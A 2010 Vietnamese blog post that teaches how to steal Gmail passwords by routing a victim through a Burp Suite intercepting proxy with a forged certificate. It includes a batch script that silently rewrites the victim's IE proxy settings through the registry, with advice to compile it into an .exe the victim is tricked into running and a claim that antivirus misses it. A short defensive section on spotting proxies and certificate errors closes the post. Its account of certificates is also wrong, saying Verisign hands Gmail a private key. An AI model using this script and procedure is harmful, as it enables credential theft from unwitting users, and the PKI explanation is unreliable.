Thứ Bảy, 30 tháng 10, 2010

Kỹ thuật hack password Gmail

Trong bài viết này tôi sẽ trình bày với các bạn kỹ thuật Hack Password của Gmail hay các trang web khác xác thực một cách tương tự (SSL – Certificate – HTTPS). Đối với nguy cơ bạn có thể bị lộ Password Gmail, trong bài viết này tôi sẽ trình bày cách nhận biết và ngăn chặn nguy cơ này.

I. Hiu biết chung
Gmail hay những dịch vụ web khác thường sử dụng HTTPS để mã hóa gói tin User/Pass. Khi trình duyệt web sử dụng Certificate của Gmail cung cấp và mã hóa thì gói tin User/Pass khi đi trên mạng sẽ an toàn ở mức độ (gần như tuyệt đối).
Kẽ hở ở đây là thế nào mà lại có thể Hack được pass của những phương thức xác thực và mã hóa có tính bảo mật cao.

Quá trình xác thực bình thường khi người dùng truy cập Gmail:

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 611x240

Bước 1: Người dùng truy cập gmail.com
Bước 2: Gmail sẽ gửi thông tin tới Versign để lấy Certificate
Bước 3: Versign gửi lại cho Gmail Certificate bao gồm: Public Key và Private key
Bước 4: Gmail gửi lại cho người dùng Public Key để mã hóa thông tin xác thực
Bước 5: Người dùng sử dụng Public Key mã hóa gửi lên Gmail
Bước 6: Gmail sử dụng Private key để giải mã

*note: gói tin mã hóa user/pass người dùng gửi lên gmail được mã hóa bằng public key thì chỉ có private key mới giải mã dc. Trong khi đó Private key được Gmail dữ lại và không truyền trên mạng. Nên gói tin này cực kỳ bảo mật và không có khả năng giải mã

Kỹ thuật giả mạo Certifcate
Người dùng vào Gmail sẽ không đi thẳng mà đi qua một Intercepting Proxy và bị giả mạo Certificate

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 618x304


Bước 1: Người dùng vào Gmail
Bước 2: Khi gói tin từ người dùng vào Intercept proxy nó sẽ chỉnh sửa thông tin và gửi lên Gmail
Bước 3: Gmail gửi yêu cầu lên Versign để sinh Certificate
Bước 4: Verisign gửi Certificate về cho Gmail. Gmail dữ lại Private key và gửi cho người yêu cầu Public key
Bước 5: Gmail gửi Public key cho Intercept Proxy, Key này sẽ không được gửi cho người dùng
Bước 6: Intercept Proxy tự ra một cặp key và gửi Public key về cho người dùng
Bước 7: Người dùng sử dụng Public Key giả này do Proxy sinh ra để mã hóa user/pass và gửi lên cho proxy. Proxy do tự sinh ra cặp key nên sẽ có Private key để giải mã.
Bước 8: Sau khi giải mã được gói tin người dùng truyền lên Proxy sẽ sử dụng Public Key của Gmail gửi cho rồi mã hóa à gửi lên gmail và quá trình xác thực vẫn dc thực hiện
*Note: Khi đó nếu kẻ tấn công đứng trên con Intercept Proxy thì hoàn toàn có thể biết được User/Pass của người dùng. Người dùng không chú ý khi đi qua một Intercept proxy thì user/pass hoàn toàn có thể bị lộ, mặc dù sử dụng các phương thức xác thực rất bảo mật


II. Tools sử dụng
Burpsuite_v1.3
Link download: http://www.portswigger.net/suite/burpsuite_v1.3.zip
Đây là một tools có tính năng là một Intercept Proxy
-Java (Burpsuite là file .jar chạy trên nền Java)
Link download: http://sun.com
- IE, Firefox
- Tools thiết lập Proxy bằng một file
Đây là tools tôi tự viết dạng file .bat hoặc các bạn có thể chuyển file.bat sang file.exe để khi người dùng kích vào file này sẽ tự động thiết lập Proxy
- Quick_Batch_File_Compiler_3.21 là một tools chuyển file.bat à file.exe

III. Kỹ thuật lấy Password Gmail
- Cách thông thường nhất là sử dụng Keylogger nhưng cách này không sử dụng được khi có các chương trình diệt virus mạnh.
- Export thông tin từ trình duyệt web như IE, Firefox. Cách này không thực hiện được khi người dùng không lưu User/Pass trên trình duyệt
- Còn một cách đó là giả mạo Certificate và sử dụng Intercept Proxy
a. Đặt proxy cho người dùng
- Để toàn bộ nội dung người dùng truy cập web đi qua Intercept Proxy thì cần phải thiết lập proxy trên trình duyệt của người dùng
- Cách thiết lập có thể bạn thiết lập bằng tay (bằng một cách nào đó có quyền điều khiển máy tính của nạn nhân)
- Hướng người dùng chạy một file.exe mà do chúng ta viết để thiết lập proxy
********
Tạo ra một file.bat với nội dung:
Code:
echo Windows Registry Editor Version 5.00 > 1
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings] >2
echo "MigrateProxy"=dword:00000001 > 3
echo "ProxyEnable"=dword:00000001 > 4
echo "ProxyHttp1.1"=dword:00000000 > 5
echo "ProxyServer"="IP:port" > 6
echo "ProxyOverride"="<local>" > 7
copy /b "1"+"2"+"3"+"4"+"5"+"6"+"7" b.reg
del 1 /f /q
del 2 /f /q
del 3 /f /q
del 4 /f /q
del 5 /f /q
del 6 /f /q
del 7 /f /q
regedit.exe /s b.reg
del b.reg /f /q
********

Sau đó dùng tools Quick_Batch_File_Compiler_3.21 chuyển file.bat này sang file.exe
- Khi người dùng nhấn vào file này sẽ tự động thiết lập proxy cho IE với IP bạn thay bằng IP bạn cần thiết lập, Port là port của Proxy sử dụng. Điều rất hay đó là file này tất cả các chương trình diệt virus đều không coi là Virus
- Trong bài viết này tôi sử dụng một máy tính nên proxy tôi thiết lập trên trình duyệt là 127.0.0.1
Tiến hành
Bước 1: Cài đặt Java
Bước 2: Chạy Burpsuite
Bước 3: Thiết lập Proxy
Bước 4: Truy cập Gmail
Bước 5: Vào Proxy xem thông tin User/Pass

Bước 1: Cài đặt Java:
- Sau khi bạn download bộ cài Java từ trang sun.com bạn cài đặt để chuẩn bị môi trường cho các chương trình chạy trên môi trường Java
Bước 2: Chạy Burpsuite:
- Sau khi download Burpsuite tiến hành giải nén khi đến file .jar thì dừng lại
Chạy chương trình Burpsuite_v1.3 để làm Intercepting Proxy. Nhấn đúp vào file .jar giải nén từ bộ download được


Chạy chương trình Burpsuite


Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 718x589


Mặc định chương trình này chỉ làm proxy cho chính máy chạy chương trình, để các máy khác có thể sử dụng chương trình này làm proxy phải à Vào tab proxy à chọn Options rồi có thể Edit tùy biến port sử dụng (mặc định là 8080) bỏ dấu check box “loopback only"

[IMG]http://img202.imageshack.us/img202/5520/57595257.jpg[/IMG]
Chuyển sang tab Intercept để cấu hình các mode hoạt động của Intercepting proxy
- Chế độ Intercept on: đây là chế độ hoạt động. Nếu một người đặt máy tính này làm proxy thì toàn bộ quá trình truy cập ra internet đều bị proxy này quản lý. Khi một request từ trình duyệt tới Proxy, nó sẽ phát hiện nội dung có thể chỉnh sửa và forward đi thì mới tới máy chủ web
Chúng ta tắt chế đô này bằng cách nhấn vào Intercept on sẽ thành off. Mục đích khi người dùng sử dụng phần mềm này làm proxy thì vẫn có thể vào Internet bình thường. Để chế độ này chỉ để lưu lại các thông tin người dùng truy cập web


Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 713x356


Bước 3: Đặt Proxy
- Vào IE chỉnh proxy vào địa chỉ 127.0.0.1 port 8080. IE à IE options à tab connection nhấn vào nút LAN Settings
- Hoặc chạy file.bat với nội dung như trên
Dùng tools chuyển file.bat à file.exe rồi chạy file.exe này cũng được


Bước 4: Vào Gmail qua IE (đã thiết lập Proxy)
Truy cập vào Gmail sẽ thấy thông báo Certificate lỗi nhấn continue để tiếp tục

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 748x493


Tiếp tục google sẽ thông báo Certificate Error bạn vẫn gõ Username password để truy cập vào Mail

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 748x493


Tôi vào được mail vẫn còn thông báo Certificate Error

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 748x493


Bước 5: Vào Proxy tìm thông tin Username và Pass
- Vào Burpsuite à Chuyển sang tab “Target” à Chọn Site Map
Lựa chọn trang web https://www.google.com à Vào mục Accounts à Vào mục ServiceLoginAuth à Nhìn chuyển sang bên phải chọn “Request” (thông tin gửi lên server) vào mục Raw chúng ta sẽ thấy thông tin Username và Password

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 731x976



IV. Phát hiện và bảo mật cho Account Gmail
Muốn hack password gmail kẻ tấn công phải hướng người dùng đặt Proxy đi qua một Intercept Proxy sau đó giả mạo Certificate do đó muốn phát hiện và bảo mật cho Account Gmail bạn có thể thực hiện bằng các cách:

1. Phát hiện khi vào mạng có qua một Proxy hay không
Kiểm tra bằng cách trước khi vào Internet truy cập vào mục thiết lập Proxy xem có địa chỉ nào được thiết lập hay chưa.
Cách này rất hữu ích nhưng xem ra có phần rườm rà khó thực hiện và dễ bị quên hay bỏ qua

2. Phát hiện Certificate bị giả mạo
a. Khi truy cập bình thường
+ Vào Gmail sẽ không bật ra nhưng pop-up đề xuất download Certificate
+ Nhấn chuột vào biểu tượng cục khóa à view Certifcate sẽ thấy nó được sinh ra từ Verisign

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 746x688



Khi truy cập đi qua một Intercept Proxy
+ Truy cập vào Gmail sẽ xuất hiện cửa sổ này thông báo Certificate của bạn đã bị lỗi có tiếp tục hay không. Nếu thấy biểu tượng này khuyến cáo người dùng không nên tiếp tục và kiểm tra lại độ an toàn của mạng và máy tính trước khi truy cập

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 748x487

+ Nếu người dùng tiếp tục truy cập vào trang Gmail sẽ không có biểu tượng cục khóa mà thay vào đó là biểu tượng “Certificate Error”.
+ Nhấn xem Certificate này chúng ta sẽ thấy Certificate này không phải do Verisign sinh ra

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 749x710




Note: Nếu người dùng thấy hai yếu tố này khuyến cáo không nên tiếp tục vào Gmail vì Username và password của bạn hoàn toàn có thể bị mất. Ngoài ra người dùng không nên lưu mật khẩu để tự động truy cập bởi khi máy tính rơi vào tay người khác thì thông tin còn lưu lại trên IE, Firefox hoàn toan có thể bị khai thác dễ dàng. Người dùng cũng nên cài đặt các chương trình diệt Virus để ngăn chặn các loại Virus, Keylogger ăn chôm mật khẩu.

Không có nhận xét nào:

Đăng nhận xét